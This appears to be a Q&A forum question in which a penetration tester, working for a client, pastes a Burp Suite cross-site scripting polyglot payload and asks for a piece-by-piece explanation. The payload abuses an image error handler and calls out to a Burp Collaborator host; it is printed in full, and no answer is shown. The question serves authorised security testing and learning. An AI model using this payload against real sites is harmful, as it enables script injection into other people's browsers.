1

I'm testing burp against a vulnerable application as part of work for my client. There was one successful xss payload related to DNS lookup which worked on form data at point of file-upload. Here is the part of payload

javascript:/*</script><img/onerror='-/"/-/ onmouseover=1/-/[`*/[]/[(new(Image)).src=(/;/+/7mu0war5msdjnc8auyu75qw2ntttht9h18p0cs0hX;.burpcollaborator.net/).replace(/.;/g,[])]//'src=>
------WebKitFormBoundaryvITwh4thvzw75H3d
Content-Disposition: form-data; name="description"

The response is as as attached

I want help in deciphering of payload because it seems quite convoluted. <img/onerror='-/"/-/ This is believe causing img tag to fail causing event-handler onerror to trigger but I don't understand the use of '-/"/-/

onmouseover=1/-/[`*/[]/

Similary, as error popups the victim moves his move over and this in return kicks of another event/action which is including src tag and loading external content which is replace with a regex like whatever is in src tag is replace with output of DNS resolution

I appreciate if someone can decode piece by piece how this payload is actually crafted thanks.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.